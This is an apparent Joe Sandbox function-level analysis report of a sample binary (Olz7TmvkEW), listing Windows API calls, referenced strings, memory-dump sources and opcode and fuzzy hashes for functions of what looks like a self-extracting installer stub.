Instruction ID: 8200ff4dc01eb7e5f3d0cd3b0db6b275db18d134b8f46633e684875e90eeb5b2
Opcode Fuzzy Hash: f3f3d5414f060ac97f84cd4fb4e76d4c066e7be8abca8f8d98a1b02d4c47ed12
Instruction Fuzzy Hash: 7D11C935D00109FADF05FFA1D897CEDBB79AF10308F50812AB915721E1DB7856899B98

Function 00403F77 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041572C,?,?,00000000,00404622,?,?,00000000,?,?,00406260,?), ref: 00403FBD
??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041571C,?,?,?,%%S\,0041572C,?,?,00000000,00404622,?,?), ref: 00403FFB
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041571C,?,?,?,%%S\,0041572C,?,?,00000000), ref: 00404021
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041571C,?,?,?,%%S\,0041572C,?,?), ref: 00404029

Strings

%%S\, xrefs: 00403F9D
%%S/, xrefs: 00403FDB

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 328ca1379e14b8368c30dedf60bee0167d5db9aa9a8115ce74c1d677a53725c7
Instruction ID: ba471a5e309da56b19bd8a7b5a96c0f25c3cff1cb933eb2d3e2d1b68bec26358
Opcode Fuzzy Hash: 328ca1379e14b8368c30dedf60bee0167d5db9aa9a8115ce74c1d677a53725c7
Instruction Fuzzy Hash: 1811F935C00109FADF05FFA1D993CEE7B38AF10308F50812AB915721E1DB7856899B88

Function 0040D79C Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 42COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00416CB4,00417010), ref: 0040D834

Strings

`lA, xrefs: 0040D7FC
xmA, xrefs: 0040D7AA
XkA, xrefs: 0040D7B1
XkA, xrefs: 0040D7A3
plA, xrefs: 0040D7F5
xmA, xrefs: 0040D7B8

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ExceptionThrow
String ID: XkA$XkA$`lA$plA$xmA$xmA
API String ID: 432778473-1797977924
Opcode ID: 53bc111bba272141f362da7732371027c6ffd9fc40c0fe37927965c24cbe44eb
Instruction ID: 93ec62a24b9d8e66450440f0cc9ce576a4bb083ddd4f3a3c79e319c7eabf7869
Opcode Fuzzy Hash: 53bc111bba272141f362da7732371027c6ffd9fc40c0fe37927965c24cbe44eb
Instruction Fuzzy Hash: AB11D3B0601B008AC3308F169549587FBF8EF51758712CA1FD09A97A10D3F8E1888B99

Function 004054C1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00419858,00000001,00419858,00419858,00000001,?,00000000), ref: 00405543
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00419858,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041942C,00419858,00000001,?,00000000), ref: 004055A5
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00419858,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041942C,00419858,00000001,?,00000000), ref: 004055BD

Part of subcall function 004036F1: lstrlenW.KERNEL32(004017CF,00000000,?,?,?,?,?,?,004017CF,?), ref: 004036FE
Part of subcall function 004036F1: GetSystemTimeAsFileTime.KERNEL32(?,004017CF,?,?,?,?,004017CF,?), ref: 00403774
Part of subcall function 004036F1: GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017CF,?), ref: 0040377B
Part of subcall function 004036F1: ??3@YAXPAX@Z.MSVCRT(?,004017CF,?,?,?,?,004017CF,?), ref: 0040383A

Strings

;!@InstallEnd@!, xrefs: 00405578
;!@Install@!UTF-8!, xrefs: 0040555E

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: 6ca09179b832223042facc11ae16c442de1ccabb0ed3d8059e6af2b2fd03001d
Instruction ID: 9c73dee187ac7940ac785f0cdfe29d60513ad58ba118a45472d9fba9eb214e5e
Opcode Fuzzy Hash: 6ca09179b832223042facc11ae16c442de1ccabb0ed3d8059e6af2b2fd03001d
Instruction Fuzzy Hash: EA314871D0021AEACF01EF92CC569EEBB75FF58318F10402BE415722D1DB785645DB98

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 10580a38aa47e309b50d487dd3db663a32dca6cab9aaec04e50353585ed6c2b6
Instruction ID: 82a0a4c7c3cac984b025113f951df6a1ad0c5e072908762b67de37e2b53db34b
Opcode Fuzzy Hash: 10580a38aa47e309b50d487dd3db663a32dca6cab9aaec04e50353585ed6c2b6
Instruction Fuzzy Hash: A4114FB5800308EFDB20EFA4DD85ADBB3BCAF44304F54447BE645A3591D678AA84CF69

Function 00407DA1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407DB6
SHBrowseForFolderW.SHELL32(?), ref: 00407DCF
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 00407DEB
SHGetMalloc.SHELL32(00000000), ref: 00407E15

Part of subcall function 00407B90: GetDlgItem.USER32(?,000004B6), ref: 00407B9D
Part of subcall function 00407B90: SetFocus.USER32(00000000,?,?,00407C84,000004B6,?), ref: 00407BA4

Strings

A, xrefs: 00407DC8

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A
API String ID: 1557639607-3554254475
Opcode ID: 18cc2c60aeb3b7b122a965faa4dd677926e4bfd12edb83007c1ba79b931f09b9
Instruction ID: c991f1184b04d71a34ab75a046ed33f3991a90ed18c7befb8679fee52583d13b
Opcode Fuzzy Hash: 18cc2c60aeb3b7b122a965faa4dd677926e4bfd12edb83007c1ba79b931f09b9
Instruction Fuzzy Hash: C3111F71A04208EBDB20DBA5C958BDE77BCAB84705F1400B9E905E7281DB78EE45CBB5

Function 00402B71 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402BA2
??3@YAXPAX@Z.MSVCRT(?), ref: 00402BAB

Part of subcall function 00401172: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,0040146C,00000003,?,004057B0,?,00000000), ref: 00401192
Part of subcall function 00401172: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,0040146C,00000003,?,004057B0,?,00000000), ref: 004011B8

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402BC3
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402BE3

Strings

SetEnvironment, xrefs: 00402BB3, 00402BC2

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: 8975c290c05f081b3aa48b512297cf9d3deb81da162b8f1c3ca5211d61be9246
Instruction ID: 872148d7285510cba3beb976fe90dd67b0f7b9c7622c942f2c5d0e041fd95c9f
Opcode Fuzzy Hash: 8975c290c05f081b3aa48b512297cf9d3deb81da162b8f1c3ca5211d61be9246
Instruction Fuzzy Hash: 93015E72D00104BADB15ABA5ED81DEEB3BCAF44314B10416BF902B71D1DBB96A418AA8

Function 0040464B Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004193C0,00000020,-00000002,-00000004,00405FF0,-00000002,?,?,00000000,0000000A), ref: 00404664
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00404716
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 0040471E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 0040472D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00404735

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: b3cd9207120c84d70b9ea52e1c46f734d4eabb935de8e223c649fd635fb9ec59
Instruction ID: aeb94b40578403fee1b74b38ef18ad41e7f72b790eaa200ba48685626c4261d0
Opcode Fuzzy Hash: b3cd9207120c84d70b9ea52e1c46f734d4eabb935de8e223c649fd635fb9ec59
Instruction Fuzzy Hash: 6B214972D00104ABCF216FA0CC019EE77A8EF96355F10443BEA41B72E1F77E4D818648

Function 0040809D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00407A6B: GetSystemMetrics.USER32(0000000B), ref: 00407A93
Part of subcall function 00407A6B: GetSystemMetrics.USER32(0000000C), ref: 00407A9C

GetSystemMetrics.USER32(00000007), ref: 004080B4
GetSystemMetrics.USER32(00000007), ref: 004080C5
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 0040818C

Strings

100%% , xrefs: 004080E4, 004080EB, 00408144

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 7979a779bedf5e19285ed635ff8e0537a4e449d31975b828e080063ae18fe76e
Instruction ID: 0c509f118c308a7c78e08742548c734dda8a0b47b1f593a1d30cecdc3777ed32
Opcode Fuzzy Hash: 7979a779bedf5e19285ed635ff8e0537a4e449d31975b828e080063ae18fe76e
Instruction Fuzzy Hash: CE31D471A007059FCB24DF65C9459AEB7F4EF40704B00052ED542A72D1DB74FD45CBA9

Function 00405644 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00403EBC: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041572C,?,?,00000000,00404622,?,?,00000000,?,?,00406260,?), ref: 00403F02
Part of subcall function 00403EBC: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041571C,?,?,?,%%T\,0041572C,?,?,00000000,00404622,?,?), ref: 00403F40
Part of subcall function 00403EBC: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041571C,?,?,?,%%T\,0041572C,?,?,00000000), ref: 00403F66
Part of subcall function 00403EBC: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041571C,?,?,?,%%T\,0041572C,?,?), ref: 00403F6E

Part of subcall function 00403F77: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041572C,?,?,00000000,00404622,?,?,00000000,?,?,00406260,?), ref: 00403FBD
Part of subcall function 00403F77: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041571C,?,?,?,%%S\,0041572C,?,?,00000000,00404622,?,?), ref: 00403FFB
Part of subcall function 00403F77: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041571C,?,?,?,%%S\,0041572C,?,?,00000000), ref: 00404021
Part of subcall function 00403F77: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041571C,?,?,?,%%S\,0041572C,?,?), ref: 00404029

Part of subcall function 00404032: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041572C,?,?,00000000,00404622,?,?,00000000,?,?,00406260,?), ref: 00404078
Part of subcall function 00404032: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041571C,?,?,?,%%M\,0041572C,?,?,00000000,00404622,?,?), ref: 004040B6
Part of subcall function 00404032: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041571C,?,?,?,%%M\,0041572C,?,?,00000000), ref: 004040DC
Part of subcall function 00404032: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041571C,?,?,?,%%M\,0041572C,?,?), ref: 004040E4

Part of subcall function 004040ED: ??3@YAXPAX@Z.MSVCRT(?,?,0041984C,%%P,?,?,00000000,?,?,00406260,?,00000000,0000000A), ref: 00404114

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00405715

Part of subcall function 0040327D: GetEnvironmentVariableW.KERNEL32(004056AD,?,00000001,xu_,00000000,H|_,?,?,004056AD,?,?,?,?,?,?), ref: 00403293
Part of subcall function 0040327D: GetEnvironmentVariableW.KERNEL32(004056AD,00000000,?,00000001,00000002,?,?,004056AD,?,?,?,?,?,?), ref: 004032BF

Part of subcall function 00402B71: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402BA2
Part of subcall function 00402B71: ??3@YAXPAX@Z.MSVCRT(?), ref: 00402BAB

??3@YAXPAX@Z.MSVCRT(?,?,005F9D00,?,?,?,xu_,?,H|_,?,00419810,?,?,?), ref: 004056F9

Strings

xu_, xrefs: 00405675, 0040567D, 004056D1
H|_, xrefs: 00405666, 0040566E, 004056C7

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$Environment$Variable$ExpandStrings
String ID: H|_$xu_
API String ID: 2352103411-4026904983
Opcode ID: cd0632ae3cb62befe143438c45848d6e603760a0b2c7569f7b16b59909fdaf46
Instruction ID: e77c6db790fd3265e7e8a04a5d27ee92cfaa5bcfb68e3ac2f2838415660c2c6c
Opcode Fuzzy Hash: cd0632ae3cb62befe143438c45848d6e603760a0b2c7569f7b16b59909fdaf46
Instruction Fuzzy Hash: EE21FC75C0010DAACF00FBE5DC46CDE7B7CEA44709B40847BF610B3191D739AA558BA8

Function 00404E99 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00407C87: GetSystemMetrics.USER32(00000010), ref: 00407CC9
Part of subcall function 00407C87: GetSystemMetrics.USER32(00000011), ref: 00407CD7

wsprintfW.USER32 ref: 00404F19
??3@YAXPAX@Z.MSVCRT(00405872,00000011,00405872,00000000,004166D0,?), ref: 00404F56

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 00404F13
xcA, xrefs: 00404EB7

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X$xcA
API String ID: 1174869416-1550840741
Opcode ID: 95ec4e621bfc920f5473338c82ae4d920d2910342d5ae7ea90fe2488f177eb41
Instruction ID: 41466d8614d0a23c37c50aec3ef54a83e840c1df2718244856808616b3002f3b
Opcode Fuzzy Hash: 95ec4e621bfc920f5473338c82ae4d920d2910342d5ae7ea90fe2488f177eb41
Instruction Fuzzy Hash: F9117F71D44218ABDB15EB90DC56FEDB334BB10B08F10417EEA55361D2DBB86A44CB9C

Function 0040327D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(004056AD,?,00000001,xu_,00000000,H|_,?,?,004056AD,?,?,?,?,?,?), ref: 00403293
GetEnvironmentVariableW.KERNEL32(004056AD,00000000,?,00000001,00000002,?,?,004056AD,?,?,?,?,?,?), ref: 004032BF

Strings

xu_, xrefs: 00403283
H|_, xrefs: 00403281

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: EnvironmentVariable
String ID: H|_$xu_
API String ID: 1431749950-4026904983
Opcode ID: ff2b79dc44754d6f907cf6e634d94b8b1123ce8e5b5ca496a994bbb7e1074a74
Instruction ID: 7df30db2680526248f54be3d9c295913fdf74715706c85616ae183fd9519d1a4
Opcode Fuzzy Hash: ff2b79dc44754d6f907cf6e634d94b8b1123ce8e5b5ca496a994bbb7e1074a74
Instruction Fuzzy Hash: A6F09C71600118BFDB01AF59DC419ADB7EDEF88764B10403BF945D72A1D7B5DD008794

Function 0040421B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(Mg@,00000000,?,00000000,00404262,00000000,00000000,0040674D,?,waitall,00000000,00000000,?,?,00419810), ref: 00404228
lstrlenW.KERNEL32(?,?,?,00419810), ref: 00404231
_wcsnicmp.MSVCRT ref: 0040423D

Strings

Mg@, xrefs: 00404224

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: Mg@
API String ID: 2823567412-3680729969
Opcode ID: ba891c330881e9cd37824329b79c8b3bdedf28b88df0ad5e9eae37b6568f1235
Instruction ID: 9e1626592046255a92b3b8c2eb79444d9ed7104295bc7c238f4b93e2fb8c8d27
Opcode Fuzzy Hash: ba891c330881e9cd37824329b79c8b3bdedf28b88df0ad5e9eae37b6568f1235
Instruction Fuzzy Hash: 09E026726042019BC700CBA5ED84C8B7BECEAC8790B00087BF700E3011E334D8148BB5

Function 004023B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00406A9D,00000000,?,?), ref: 004023C8
GetProcAddress.KERNEL32(00000000), ref: 004023CF

Strings

kernel32, xrefs: 004023C3
Wow64RevertWow64FsRedirection, xrefs: 004023BE

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: cd6f73cecb1163c3412e02ff2c631c42379205c8e465c85e169b66b0ab90bb67
Instruction ID: 50d9489a907287b4f58dec005f8c8a71b0fe89906bae8f062ddf8536b40cf8c2
Opcode Fuzzy Hash: cd6f73cecb1163c3412e02ff2c631c42379205c8e465c85e169b66b0ab90bb67
Instruction Fuzzy Hash: C3D0C970A91700FBDB511FA0EE2DBD636A6EB80B0BF448436E812A00F0C7FC4884CA1C

Function 004023E9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,0040243F,?,004069D7,?,00000000,?,?), ref: 004023FA
GetProcAddress.KERNEL32(00000000), ref: 00402401

Strings

Wow64DisableWow64FsRedirection, xrefs: 004023F0
kernel32, xrefs: 004023F5

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: 3cb0454e562955199366be55c27431b89f07c429e32f9a257932cf547d8e03b3
Instruction ID: 88d9777829bf04cc8710f0dfabc1d7fbda4bae52ffa2c7d5b88ac942ae81d74a
Opcode Fuzzy Hash: 3cb0454e562955199366be55c27431b89f07c429e32f9a257932cf547d8e03b3
Instruction Fuzzy Hash: FFD0C970691600FAD7105FA4DD2DBC639A6AFC0B06F548026A016E00D4C7FC4880861D

Function 00402DD6 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00405802,00405802,00000000,00000020,?,?,?,?,?,?,?,?,?,00405802,00000000,00000000), ref: 00402EDC

Part of subcall function 00402AD8: MultiByteToWideChar.KERNEL32(00000020,00000000,00000024,?,00000000,?,?,00000020,00000024,00000000,00402E3A,?,?,00000000,00000000,00000000), ref: 00402B0A

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405802,00000000), ref: 00402E49
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405802), ref: 00402E64
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?), ref: 00402E6C

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: f6ac9d4c0139cef4d9b8beefe4760dccd727682243e06668031b0770e13a0576
Instruction ID: e682ebc0571d90e9fd1001dd074fc16d37aecbe567f5019eda1f00a411694e7c
Opcode Fuzzy Hash: f6ac9d4c0139cef4d9b8beefe4760dccd727682243e06668031b0770e13a0576
Instruction Fuzzy Hash: BE31F672C44114AADB14FBA2DD429EF73BDEF10318B50443FF856B21E1EE3C9A4586A8

